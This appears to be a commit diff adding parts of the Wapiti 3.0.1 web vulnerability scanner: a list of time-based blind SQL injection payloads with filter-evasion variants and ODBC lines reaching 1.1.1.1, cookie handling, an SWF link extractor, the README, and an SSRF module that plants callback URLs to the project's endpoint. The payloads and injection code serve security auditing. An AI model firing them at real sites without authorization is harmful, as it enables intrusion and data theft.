1 or pg_sleep([TIME])--[LF]1
" or pg_sleep([TIME])--1
" or pg_sleep([TIME])--[LF]1
' or pg_sleep([TIME])--1
' or pg_sleep([TIME])--[LF]1
1) or pg_sleep([TIME])--1
1) or pg_sleep([TIME])--[LF]1
") or pg_sleep([TIME])--1
") or pg_sleep([TIME])--[LF]1
') or pg_sleep([TIME])--1
') or pg_sleep([TIME])--[LF]1
1)) or pg_sleep([TIME])--1
")) or pg_sleep([TIME])--1
')) or pg_sleep([TIME])--1
1 and pg_sleep([TIME])--1
" and pg_sleep([TIME])--1
' and pg_sleep([TIME])--1
1) and pg_sleep([TIME])--1
") and pg_sleep([TIME])--1
') and pg_sleep([TIME])--1
1)) and pg_sleep([TIME])--1
")) and pg_sleep([TIME])--1
')) and pg_sleep([TIME])--1
1[TAB]or[TAB]sleep([TIME])#1
"[TAB]or[TAB]sleep([TIME])#1
'[TAB]or[TAB]sleep([TIME])#1
"[TAB]or[TAB]sleep([TIME])="
'[TAB]or[TAB]sleep([TIME])='
1)[TAB]or[TAB]sleep([TIME])#1
")[TAB]or[TAB]sleep([TIME])="
')[TAB]or[TAB]sleep([TIME])='
1))[TAB]or[TAB]sleep([TIME])#1
"))[TAB]or[TAB]sleep([TIME])="
'))[TAB]or[TAB]sleep([TIME])='
1[TAB]and[TAB]sleep([TIME])#1
"[TAB]and[TAB]sleep([TIME])#1
'[TAB]and[TAB]sleep([TIME])#1
"[TAB]and[TAB]sleep([TIME])="
'[TAB]and[TAB]sleep([TIME])='
1)[TAB]and[TAB]sleep([TIME])#1
")[TAB]and[TAB]sleep([TIME])="
')[TAB]and[TAB]sleep([TIME])='
1))[TAB]and[TAB]sleep([TIME])#1
"))[TAB]and[TAB]sleep([TIME])="
'))[TAB]and[TAB]sleep([TIME])='
;waitfor[TAB]delay[TAB]'0:0:[TIME]'--1
);waitfor[TAB]delay[TAB]'0:0:[TIME]'--1
';waitfor[TAB]delay[TAB]'0:0:[TIME]'--1
";waitfor[TAB]delay[TAB]'0:0:[TIME]'--1
');waitfor[TAB]delay[TAB]'0:0:[TIME]'--1
");waitfor[TAB]delay[TAB]'0:0:[TIME]'--1
));waitfor[TAB]delay[TAB]'0:0:[TIME]'--1
'));waitfor[TAB]delay[TAB]'0:0:[TIME]'--1
"));waitfor[TAB]delay[TAB]'0:0:[TIME]'--1
1[TAB]or[TAB]benchmark(10000000,MD5(1))#1
"[TAB]or[TAB]benchmark(10000000,MD5(1))#1
'[TAB]or[TAB]benchmark(10000000,MD5(1))#1
1)[TAB]or[TAB]benchmark(10000000,MD5(1))#1
")[TAB]or[TAB]benchmark(10000000,MD5(1))#1
')[TAB]or[TAB]benchmark(10000000,MD5(1))#1
1))[TAB]or[TAB]benchmark(10000000,MD5(1))#1
"))[TAB]or[TAB]benchmark(10000000,MD5(1))#1
'))[TAB]or[TAB]benchmark(10000000,MD5(1))#1
1[TAB]or[TAB]pg_sleep([TIME])--1
"[TAB]or[TAB]pg_sleep([TIME])--1
'[TAB]or[TAB]pg_sleep([TIME])--1
1)[TAB]or[TAB]pg_sleep([TIME])--1
")[TAB]or[TAB]pg_sleep([TIME])--1
')[TAB]or[TAB]pg_sleep([TIME])--1
1))[TAB]or[TAB]pg_sleep([TIME])--1
"))[TAB]or[TAB]pg_sleep([TIME])--1
'))[TAB]or[TAB]pg_sleep([TIME])--1
1[TAB]and[TAB]pg_sleep([TIME])--1
"[TAB]and[TAB]pg_sleep([TIME])--1
'[TAB]and[TAB]pg_sleep([TIME])--1
1)[TAB]and[TAB]pg_sleep([TIME])--1
")[TAB]and[TAB]pg_sleep([TIME])--1
')[TAB]and[TAB]pg_sleep([TIME])--1
1))[TAB]and[TAB]pg_sleep([TIME])--1
"))[TAB]and[TAB]pg_sleep([TIME])--1
'))[TAB]and[TAB]pg_sleep([TIME])--1
1/**/or/**/sleep([TIME])#1
"/**/or/**/sleep([TIME])#1
'/**/or/**/sleep([TIME])#1
"/**/or/**/sleep([TIME])="
'/**/or/**/sleep([TIME])='
1)/**/or/**/sleep([TIME])#1
")/**/or/**/sleep([TIME])="
')/**/or/**/sleep([TIME])='
1))/**/or/**/sleep([TIME])#1
"))/**/or/**/sleep([TIME])="
'))/**/or/**/sleep([TIME])='
1/**/and/**/sleep([TIME])#1
"/**/and/**/sleep([TIME])#1
'/**/and/**/sleep([TIME])#1
"/**/and/**/sleep([TIME])="
'/**/and/**/sleep([TIME])='
1)/**/and/**/sleep([TIME])#1
")/**/and/**/sleep([TIME])="
')/**/and/**/sleep([TIME])='
1))/**/and/**/sleep([TIME])#1
"))/**/and/**/sleep([TIME])="
'))/**/and/**/sleep([TIME])='
;waitfor/**/delay/**/'0:0:[TIME]'--1
);waitfor/**/delay/**/'0:0:[TIME]'--1
';waitfor/**/delay/**/'0:0:[TIME]'--1
";waitfor/**/delay/**/'0:0:[TIME]'--1
');waitfor/**/delay/**/'0:0:[TIME]'--1
");waitfor/**/delay/**/'0:0:[TIME]'--1
));waitfor/**/delay/**/'0:0:[TIME]'--1
'));waitfor/**/delay/**/'0:0:[TIME]'--1
"));waitfor/**/delay/**/'0:0:[TIME]'--1
1/**/or/**/benchmark(10000000,MD5(1))#1
"/**/or/**/benchmark(10000000,MD5(1))#1
'/**/or/**/benchmark(10000000,MD5(1))#1
1)/**/or/**/benchmark(10000000,MD5(1))#1
")/**/or/**/benchmark(10000000,MD5(1))#1
')/**/or/**/benchmark(10000000,MD5(1))#1
1))/**/or/**/benchmark(10000000,MD5(1))#1
"))/**/or/**/benchmark(10000000,MD5(1))#1
'))/**/or/**/benchmark(10000000,MD5(1))#1
1/**/or/**/pg_sleep([TIME])--1
"/**/or/**/pg_sleep([TIME])--1
'/**/or/**/pg_sleep([TIME])--1
1)/**/or/**/pg_sleep([TIME])--1
")/**/or/**/pg_sleep([TIME])--1
')/**/or/**/pg_sleep([TIME])--1
1))/**/or/**/pg_sleep([TIME])--1
"))/**/or/**/pg_sleep([TIME])--1
'))/**/or/**/pg_sleep([TIME])--1
1/**/and/**/pg_sleep([TIME])--1
"/**/and/**/pg_sleep([TIME])--1
'/**/and/**/pg_sleep([TIME])--1
1)/**/and/**/pg_sleep([TIME])--1
")/**/and/**/pg_sleep([TIME])--1
')/**/and/**/pg_sleep([TIME])--1
1))/**/and/**/pg_sleep([TIME])--1
"))/**/and/**/pg_sleep([TIME])--1
'))/**/and/**/pg_sleep([TIME])--1
' and (SELECT * FROM [ODBC;DRIVER=SQL SERVER;Server=1.1.1.1;DATABASE=w].a.p)\0
" and (SELECT * FROM [ODBC;DRIVER=SQL SERVER;Server=1.1.1.1;DATABASE=w].a.p)\0
') and (SELECT * FROM [ODBC;DRIVER=SQL SERVER;Server=1.1.1.1;DATABASE=w].a.p)\0
") and (SELECT * FROM [ODBC;DRIVER=SQL SERVER;Server=1.1.1.1;DATABASE=w].a.p)\0
')) and (SELECT * FROM [ODBC;DRIVER=SQL SERVER;Server=1.1.1.1;DATABASE=w].a.p)\0
")) and (SELECT * FROM [ODBC;DRIVER=SQL SERVER;Server=1.1.1.1;DATABASE=w].a.p)\0
';d=new Date();do{cd=new Date();}while(cd-d<10000);//
";d=new Date();do{cd=new Date();}while(cd-d<10000);//

View File

@ -0,0 +1 @@
Wapiti 3.0.1

View File

@ -0,0 +1,191 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
# Copyright (C) 2012-2018 Nicolas Surribas
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import json
import re
from http.cookiejar import Cookie, CookieJar
from requests.cookies import RequestsCookieJar
# Regex to check whether the domain returned by CookieJar is an IP address
# IPv6 addresses seems to have a ".local" suffix.
IP_REGEX = re.compile(r"^(?P<ip>(\d+\.\d+\.\d+.\d+)|(\[([\da-f:]+)\])(\.local)?)(?P<port>:\d+)?$")
class JsonCookie:
"""This class allows to store (and load) cookies in a JSON formatted file."""
def __init__(self):
self.cookiedict = None
self.fd = None
# return a dictionary on success, None on failure
def open(self, filename):
if not filename:
return None
try:
self.fd = open(filename, "r+")
self.cookiedict = json.load(self.fd)
except (IOError, ValueError):
self.fd = open(filename, "w+")
self.cookiedict = {}
return self.cookiedict
def addcookies(self, cookies):
"""Inject Cookies from a CookieJar into our JSON dictionary."""
if not isinstance(cookies, RequestsCookieJar):
return False
for domain, pathdict in cookies._cookies.items():
search_ip = IP_REGEX.match(domain)
if search_ip:
# Match either an IPv4 address or an IPv6 address with a local suffix
domain_key = search_ip.group("ip")
else:
domain_key = domain if domain[0] == '.' else '.' + domain
if domain_key not in self.cookiedict.keys():
self.cookiedict[domain_key] = {}
for path, keydict in pathdict.items():
if path not in self.cookiedict[domain_key].keys():
self.cookiedict[domain_key][path] = {}
for key, cookieobj in keydict.items():
if isinstance(cookieobj, Cookie):
print(cookieobj)
cookie_attrs = {
"value": cookieobj.value,
"expires": cookieobj.expires,
"secure": cookieobj.secure,
"port": cookieobj.port,
"version": cookieobj.version
}
self.cookiedict[domain_key][path][key] = cookie_attrs
def cookiejar(self, domain):
"""Returns a cookielib.CookieJar object containing cookies matching the given domain."""
cj = CookieJar()
if not domain:
return cj
# Domain comes from a urlparse().netloc so we must take care of optional port number
search_ip = IP_REGEX.match(domain)
if search_ip:
# IPv4 (ex: '127.0.0.1') or IPv6 (ex: '[::1]') address.
# We must append the '.local' suffix pour IPv6 addresses.
domain = search_ip.group("ip")
if domain.startswith("[") and not domain.endswith(".local"):
domain += ".local"
matching_domains = [domain]
else:
domain = domain.split(":")[0]
# For hostnames on local network we must add a 'local' tld (needed by cookielib)
if '.' not in domain:
domain += ".local"
domain_key = domain if domain[0] == '.' else '.' + domain
exploded = domain_key.split(".")
parent_domains = [".%s" % (".".join(exploded[x:])) for x in range(1, len(exploded) - 1)]
matching_domains = [d for d in parent_domains if d in self.cookiedict]
if not matching_domains:
return cj
for d in matching_domains:
for path in self.cookiedict[d]:
for cookie_name, cookie_attrs in self.cookiedict[d][path].items():
ck = Cookie(
version=cookie_attrs["version"],
name=cookie_name,
value=cookie_attrs["value"],
port=None,
port_specified=False,
domain=d,
domain_specified=True,
domain_initial_dot=False,
path=path,
path_specified=True,
secure=cookie_attrs["secure"],
expires=cookie_attrs["expires"],
discard=True,
comment=None,
comment_url=None,
rest={'HttpOnly': None},
rfc2109=False
)
if cookie_attrs["port"]:
ck.port = cookie_attrs["port"]
ck.port_specified = True
cj.set_cookie(ck)
return cj
def delete(self, domain, path=None, key=None):
if not domain:
return False
search_ip = IP_REGEX.match(domain)
if search_ip:
# IPv4 (ex: '127.0.0.1') or IPv6 (ex: '[::1]') address
# We must append the '.local' suffix pour IPv6 addresses.
domain = search_ip.group("ip")
if domain.startswith("[") and not domain.endswith(".local"):
domain += ".local"
else:
domain = domain.split(":")[0]
# For hostnames on local network we must add a 'local' tld (needed by cookielib)
if '.' not in domain:
domain += ".local"
domain = domain if domain[0] == '.' else '.' + domain
if domain not in self.cookiedict.keys():
return False
if not path:
# delete whole domain data
self.cookiedict.pop(domain)
return True
# path asked for deletion... but does not exist
if path not in self.cookiedict[domain].keys():
return False
if not key:
# remove every data on the specified domain for the matching path
self.cookiedict[domain].pop(path)
return True
if key in self.cookiedict[domain][path].keys():
self.cookiedict[domain][path].pop(key)
return True
return False
def dump(self):
if not self.fd:
return False
self.fd.seek(0)
self.fd.truncate()
json.dump(self.cookiedict, self.fd, indent=2)
return True
def close(self):
self.fd.close()

View File

@ -0,0 +1,29 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
# Copyright (C) 2017-2018 Nicolas Surribas
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import sys
import os
parent_dir = os.path.abspath(os.path.join(os.path.dirname(os.path.abspath(__file__)), os.pardir))
if os.path.exists(os.path.join(parent_dir, "wapitiCore")):
sys.path.append(parent_dir)
from wapitiCore.main.getcookie import getcookie_main
if __name__ == "__main__":
getcookie_main()

View File

@ -0,0 +1,165 @@
WAPITI - VERSION 3.0.1
Wapiti is a web application security auditor.
http://wapiti.sourceforge.net/
Requirements
============
In order to work correctly, Wapiti needs :
* Python 3.x where x is >= 4 (3.4, 3.5...)
* python-requests ( http://docs.python-requests.org/en/latest/ )
* BeautifulSoup ( http://www.crummy.com/software/BeautifulSoup/ )
* yaswfp (https://github.com/facundobatista/yaswfp)
* html5lib
See INSTALL.md for more details on installation.
How it works
============
Wapiti works as a "black-box" vulnerability scanner, that means it won't
study the source code of web applications but will work like a fuzzer,
scanning the pages of the deployed web application, extracting links and
forms and attacking the scripts, sending payloads and looking for error
messages, special strings or abnormal behaviors.
General features
================
+ Generates vulnerability reports in various formats (HTML, XML, JSON, TXT...).
+ Can suspend and resume a scan or an attack (session mechanism using sqlite3 databases).
+ Can give you colors in the terminal to highlight vulnerabilities.
+ Different levels of verbosity.
+ Fast and easy way to activate/deactivate attack modules.
+ Adding a payload can be as easy as adding a line to a text file.
Browsing features
=================
+ Support HTTP, HTTPS and SOCKS5 proxies.
+ Authentication on the target via several methods : Basic, Digest, Kerberos or NTLM.
+ Ability to restrain the scope of the scan (domain, folder, page, url).
+ Automatic removal of one or more parameters in URLs.
+ Multiple safeguards against scan endless-loops (for example, limit of values for a parameter).
+ Possibility to set the first URLs to explore (even if not in scope).
+ Can exclude some URLs of the scan and attacks (eg: logout URL).
+ Import of cookies (get them with the wapiti-getcookie tool).
+ Can activate / deactivate SSL certificates verification.
+ Extract URLs from Flash SWF files.
+ Try to extract URLs from javascript (very basic JS interpreter).
+ HTML5 aware (understand recent HTML tags).
+ Several options to control the crawler behavior and limits.
+ Skipping some parameter names during attack.
+ Setting a maximum time for the scan process.
+ Adding some custom HTTP headers or setting a custom User-Agent.
Supported attacks
=================
+ Database Injection (PHP/ASP/JSP SQL Injections and XPath Injections)
+ Cross Site Scripting (XSS) reflected and permanent
+ File disclosure detection (local and remote include, require, fopen,
readfile...)
+ Command Execution detection (eval(), system(), passtru()...)
+ XXE (Xml eXternal Entity) injection
+ CRLF Injection
+ Search for potentially dangerous files on the server (thank to the Nikto db)
+ Bypass of weak htaccess configurations
+ Search for copies (backup) of scripts on the server
+ Shellshock
+ DirBuster like
+ Server Side Request Forgery (through use of an external Wapiti website)
Wapiti supports both GET and POST HTTP methods for attacks.
It also supports multipart and can inject payloads in filenames (upload).
Display a warning when an anomaly is found (for example 500 errors and timeouts)
Makes the difference beetween permanent and reflected XSS vulnerabilities.
Module names
============
The aforementioned attacks are tied to the following module names :
+ backup (Search for copies and scripts)
+ blindsql (SQL injection vulnerabilities detected with time-based methodology)
+ buster (DirBuster like module)
+ crlf (CR-LF injection in HTTP headers)
+ delay (Not an attack module, prints the 10 slowest to load webpages of the target)
+ exec (Code execution or command injection)
+ file (Path traversal, file inclusion and XXE)
+ htaccess (Misconfigured htaccess restrictions)
+ nikto (Look for known vulnerabilities by testing URL existence and checking responses)
+ permanentxss (Rescan the whole target after the xss module execution looking for previously tainted payloads)
+ shellshock (Test Shellshock attack, see https://en.wikipedia.org/wiki/Shellshock_%28software_bug%29 )
+ sql (Error-based SQL injection detection)
+ ssrf (Server Side Request Forgery)
+ xss (XSS injection module)
Module names can be given as comma separated list using the "-m" or "--module" option.
How to get the best results
===========================
To find more vulnerabilities (as some attacks are error-based), you can modify
your webserver configurations.
For example, you can set the following values in your PHP configuration :
```
safe_mode = Off
display_errors = On (recommended)
magic_quotes_gpc = Off
allow_url_fopen = On
mysql.trace_mode = On
```
Where to get help
=================
In the prompt, just type the following command to get the basic usage :
```wapiti -h```
You can also take a look at the manpage (wapiti.1 or wapiti.1.html) for more details on each option.
If you find a bug, fill a ticket on the bugtracker :
https://sourceforge.net/p/wapiti/bugs/
The official wiki can be helpful too :
https://sourceforge.net/p/wapiti/wiki/browse_pages/
How to help the Wapiti project
==============================
You can :
+ Support the project by making a donation ( http://sf.net/donate/index.php?group_id=168625 )
+ Create or improve attack modules
+ Create or improve report generators
+ Work on the JS interpreter (lamejs)
+ Send bugfixes, patches...
+ Write some GUIs
+ Create some tools to convert cookies from browsers to Wapiti JSON format
+ Create a tool to convert PCAP files to Wapiti sqlite3 session files
+ Translate Wapiti in your language ( https://www.transifex.com/none-538/wapiti/ )
+ Talk about Wapiti around you
What is included with Wapiti
============================
Wapiti comes with :
+ a modified version of PyNarcissus (MPL 1.1 License),
see https://github.com/jtolds/pynarcissus
+ Kube CSS framework ( see http://imperavi.com/kube/ ) and jQuery
for HTML report generation.
Licensing
=========
Wapiti is released under the GNU General Public License version 2 (the GPL).
Source code is available on SourceForge :
https://sourceforge.net/projects/wapiti/

View File

@ -0,0 +1,206 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
# Copyright (C) 2017-2018 Nicolas Surribas
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import struct
from yaswfp import swfparser
from bs4 import BeautifulSoup
from wapitiCore import parser_name
def looks_like_an_url(string):
string = string.strip()
if len(string) < 3:
return False
if " " in string or "\t" in string or "\n" in string or "\\" in string:
return False
if string.startswith(("http://adobe.com/", "http://www.adobe.com/", ":", "com.", "org.")):
return False
if string in {"../", "./"}:
return False
if string.startswith(("../", "./")):
return True
if string.startswith(("http://", "https://")):
if len(string) > 12:
return True
return False
if ":" in string:
return False
if string.startswith("/") or string.endswith("/"):
return True
for ext in {
".php", ".asp", ".php4", ".php5", ".html", ".xhtml", ".htm", ".swf", ".xml", ".pl", ".cgi", ".rb", ".py", ".js",
".pdf", ".gif", ".png", ".jpg", ".svg", ".jpeg", ".mp3", ".wav", ".aspx"
}:
if ext in string and not string.startswith(ext) and "(" not in string:
return True
if "?" in string and "=" in string:
return True
return False
def read_u30(data):
i = 0
nb = 0
byte_pos = 0
while True:
x = data[i]
bits = x & 127
i += 1
nb += bits << byte_pos
byte_pos += 7
if not x & 128:
break
return nb, i
def new_read_u30(stream):
nb = 0
byte_pos = 0
while True:
x = stream.read(1)[0]
bits = x & 127
nb += bits << byte_pos
byte_pos += 7
if not x & 128:
break
return nb
def read_abc(data):
name_len = data.find(b'\0')
minor, major = struct.unpack("HH", data[name_len + 1: name_len + 5])
i = name_len + 5
nb, x = read_u30(data[i:])
i += x
for __ in range(nb - 1):
z, x = read_u30(data[i:])
i += x
# Read the array of uintegers :
nb, x = read_u30(data[i:])
i += x
for __ in range(nb - 1):
z, x = read_u30(data[i:])
i += x
# Pass the array of doubles
nb, x = read_u30(data[i:])
i += x
if nb > 0:
i += (nb - 1) * 8
# Process the array of strings
nb, x = read_u30(data[i:])
i += x
for __ in range(nb - 1):
nb, x = read_u30(data[i:])
i += x
string = data[i: i + nb].decode().strip()
if "<a href=" in string:
soup = BeautifulSoup(string, parser_name)
for link in soup.find_all("a", href=True):
yield link["href"]
else:
yield string
i += nb
def analyze_action(action):
# Actions known to be uninteresting
# if action.name in {
# "ActionStop", "ButtonCondAction", "ActionAdd2", "ActionGetVariable", "ActionPop",
# "ActionGetMember", "ActionSubtract", "ActionSetVariable", "ActionSetMember", "ActionGetURL2",
# "ActionDefineLocal", "ActionCallMethod", "ActionDefineFunction2", "ActionPlay",
# "ActionGotoFrame", "ActionStopSounds", "ActionInitArray", "ActionDivide", "ActionNot", "ActionIf",
# "ActionReturn", "ActionGreater", "ActionNewObject", "ActionEquals2", "ActionIncrement", "ActionToNumber",
# "ActionTrace", "ActionToString", "ActionMultiply", "ActionJump", "ActionTargetPath", "ActionLess2",
# "ActionDefineFunction", "ActionStoreRegister", "ActionDecrement", "ActionWaitForFrame", "ActionNextFrame",
# "ActionSetTarget", "ActionGetProperty", "ActionCallFunction", "ActionGotoFrame2", "ActionToInteger",
# "ActionSetTarget2", "ActionInitObject", "ActionSetProperty", "ActionGoToLabel", "ActionNewMethod"
# }:
# return None
if action.name == "ActionPush":
if action.Type == 0:
yield action.String
elif action.name == "ActionGetURL":
yield action.UrlString
elif action.name == "ButtonCondAction":
if hasattr(action, "Actions"):
for subaction in action.Actions:
yield from analyze_action(subaction)
elif action.name == "ActionConstantPool":
if hasattr(action, "ConstantPool"):
for constant in action.ConstantPool:
yield constant
def analyze_tag(tag):
if tag.name in [
"ShowFrame", "PlaceObject2", "DefineText", "DefineBits", "RemoveObject2", "DefineShape", "DefineFontName",
"FrameLabel", "DefineShape4", "DefineFont3", "DefineShape2", "JPEGTables", "CSMTextSettings",
"DefineFontAlignZones", "SetBackgroundColor", "Protect", "FileAttributes", "ExportAssets", "DefineShape3",
"Metadata", "ScriptLimits", "EnableDebugger2", "SymbolClass", "DefineBitsJPEG3", "DefineBitsLossless2",
"PlaceObject3", "DefineSceneAndFrameLabelData", "DefineBitsJPEG2", "DefineFont2", "DefineFontInfo2",
"DefineFont", "DefineMorphShape", "DefineFontInfo", "StartSound", "DefineSound", "DefineButtonSound",
"SoundStreamHead2", "SoundStreamHead", "SoundStreamBlock", "DefineBitsLossless", "SetTabIndex"
]:
return
if tag.name == "DefineSprite":
for control_tag in tag.ControlTags:
yield from analyze_tag(control_tag)
# print(control_tag)
elif tag.name == "DoABC":
# 82
yield from read_abc(tag.raw_payload[4:])
elif tag.name == "DefineEditText":
# 37
if tag.HasText and tag.HTML:
soup = BeautifulSoup(tag.InitialText, parser_name)
for link in soup.find_all("a", href=True):
yield link["href"]
elif tag.name in ["DoAction", "DoInitAction", "DefineButton2"]:
if hasattr(tag, "Actions"):
for action in tag.Actions:
for url in analyze_action(action):
if url:
yield url
def extract_links_from_swf(file):
swf = swfparser.SWFParser(file)
urls = set()
for tag in swf.tags:
for text in analyze_tag(tag):
if looks_like_an_url(text):
urls.add(text)
return list(urls)
if __name__ == "__main__":
import requests
# resp = requests.get("http://[::1]:8000/action.swf", stream=True)
resp = requests.get("http://127.0.0.1/wivet/pages/wivet1.swf", stream=True)
for link in extract_links_from_swf(resp.raw):
print(link)

View File

@ -0,0 +1,269 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
# Copyright (C) 2018 Nicolas Surribas
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
from itertools import chain
from random import choice
from urllib.parse import quote
from binascii import hexlify, unhexlify
from requests.exceptions import ReadTimeout, RequestException
from wapitiCore.attack.attack import Attack, Mutator, PayloadType
from wapitiCore.language.vulnerability import Vulnerability, _
from wapitiCore.net.web import Request
SSRF_PAYLOAD = "http://wapiti3.ovh/ssrf/{random_id}/{path_id}/{hex_param}/"
class SsrfMutator(Mutator):
def __init__(
self, session_id: str, methods="FGP", payloads=None, qs_inject=False, max_queries_per_pattern: int = 1000,
parameters=None, # Restrict attack to a whitelist of parameters
skip=None # Must not attack those parameters (blacklist)
):
Mutator.__init__(
self, methods=methods, payloads=payloads, qs_inject=qs_inject,
max_queries_per_pattern=max_queries_per_pattern, parameters=parameters, skip=skip)
self._session_id = session_id
def mutate(self, request: Request):
get_params = request.get_params
post_params = request.post_params
file_params = request.file_params
referer = request.referer
# estimation = self.estimate_requests_count(request)
#
# if self._attacks_per_url_pattern[request.hash_params] + estimation > self._max_queries_per_pattern:
# # Otherwise (pattern already attacked), make sure we don't exceed maximum allowed
# return
#
# self._attacks_per_url_pattern[request.hash_params] += estimation
for params_list in [get_params, post_params, file_params]:
for i in range(len(params_list)):
param_name = quote(params_list[i][0])
if self._skip_list and param_name in self._skip_list:
continue
if self._parameters and param_name not in self._parameters:
continue
saved_value = params_list[i][1]
if saved_value is None:
saved_value = ""
if params_list is file_params:
params_list[i][1] = ["__PAYLOAD__", params_list[i][1][1]]
else:
params_list[i][1] = "__PAYLOAD__"
attack_pattern = Request(
request.path,
method=request.method,
get_params=get_params,
post_params=post_params,
file_params=file_params
)
if hash(attack_pattern) not in self._attack_hashes:
self._attack_hashes.add(hash(attack_pattern))
payload = SSRF_PAYLOAD.format(
random_id=self._session_id,
path_id=request.path_id,
hex_param=hexlify(param_name.encode("utf-8", errors="replace")).decode()
)
flags = set()
if params_list is file_params:
params_list[i][1][0] = payload
flags.add(PayloadType.file)
else:
params_list[i][1] = payload
if params_list is get_params:
flags.add(PayloadType.get)
else:
flags.add(PayloadType.post)
evil_req = Request(
request.path,
method=request.method,
get_params=get_params,
post_params=post_params,
file_params=file_params,
referer=referer,
link_depth=request.link_depth
)
yield evil_req, param_name, payload, flags
params_list[i][1] = saved_value
if not get_params and request.method == "GET" and self._qs_inject:
attack_pattern = Request(
"{}?__PAYLOAD__".format(request.path),
method=request.method,
referer=referer,
link_depth=request.link_depth
)
if hash(attack_pattern) not in self._attack_hashes:
self._attack_hashes.add(hash(attack_pattern))
flags = set()
payload = SSRF_PAYLOAD.format(
random_id=self._session_id,
path_id=request.path_id,
hex_param=hexlify("QUERY_STRING").decode()
)
evil_req = Request(
"{}?{}".format(request.path, quote(payload)),
method=request.method,
referer=referer,
link_depth=request.link_depth
)
flags.add(PayloadType.get)
yield evil_req, "QUERY_STRING", flags
class mod_ssrf(Attack):
"""
This class implements an SSRF vulnerability check
"""
name = "ssrf"
payloads = ("\xBF'\"(", set())
MSG_VULN = _("SSRF vulnerability")
def __init__(self, crawler, persister, logger, attack_options):
Attack.__init__(self, crawler, persister, logger, attack_options)
self._session_id = "".join([choice("0123456789abcdefghjijklmnopqrstuvwxyz") for __ in range(0, 6)])
def attack(self):
methods = ""
if self.do_get:
methods += "G"
if self.do_post:
methods += "PF"
mutator = SsrfMutator(
session_id=self._session_id,
methods=methods,
payloads=self.payloads,
qs_inject=self.must_attack_query_string,
skip=self.options.get("skipped_parameters")
)
http_resources = self.persister.get_links(attack_module=self.name) if self.do_get else []
forms = self.persister.get_forms(attack_module=self.name) if self.do_post else []
for original_request in chain(http_resources, forms):
if self.verbose >= 1:
print("[+] {}".format(original_request))
# Let's just send payloads, we don't care of the response as what we want to know is if the target
# contacted the endpoint.
for mutated_request, parameter, payload, flags in mutator.mutate(original_request):
try:
if self.verbose == 2:
print("[¨] {0}".format(mutated_request))
try:
self.crawler.send(mutated_request)
except ReadTimeout:
continue
except (KeyboardInterrupt, RequestException) as exception:
yield exception
yield original_request
# A la fin des attaques on questionne le endpoint pour savoir s'il a été contacté
endpoint_request = Request("https://wapiti3.ovh/get_ssrf.php?id={}".format(self._session_id))
try:
response = self.crawler.send(endpoint_request)
except ReadTimeout:
pass
else:
data = response.json
if isinstance(data, dict):
for request_id in data:
original_request = self.persister.get_path_by_id(request_id)
if not original_request:
raise ValueError("Could not find the original request with that ID")
page = original_request.path
for hex_param in data[request_id]:
parameter = unhexlify(hex_param).decode("utf-8")
for infos in data[request_id][hex_param]:
request_url = infos["url"]
# Date in ISO format
request_date = infos["date"]
request_ip = infos["ip"]
request_method = infos["method"]
# request_size = infos["size"]
if parameter == "QUERY_STRING":
vuln_message = Vulnerability.MSG_QS_INJECT.format(self.MSG_VULN, page)
else:
vuln_message = _(
"{0} via injection in the parameter {1}.\n"
"The target performed an outgoing HTTP {2} request at {3} with IP {4}.\n"
"Full request can be seen at {5}"
).format(
self.MSG_VULN,
parameter,
request_method,
request_date,
request_ip,
request_url
)
mutator = Mutator(
methods="G" if original_request.method == "GET" else "P",
payloads=[("http://external.url/page", set())],
qs_inject=self.must_attack_query_string,
skip=self.options.get("skipped_parameters")
)
mutated_request, parameter, taint, flags = next(mutator.mutate(original_request))
self.add_vuln(
request_id=original_request.path_id,
category=Vulnerability.SSRF,
level=Vulnerability.HIGH_LEVEL,
request=mutated_request,
info=vuln_message,
parameter=parameter
)
self.log_red("---")
self.log_red(
Vulnerability.MSG_QS_INJECT if parameter == "QUERY_STRING"
else Vulnerability.MSG_PARAM_INJECT,
self.MSG_VULN,
page,
parameter
)
self.log_red(Vulnerability.MSG_EVIL_REQUEST)
self.log_red(mutated_request.http_repr())
self.log_red("---")

View File

@ -0,0 +1,57 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
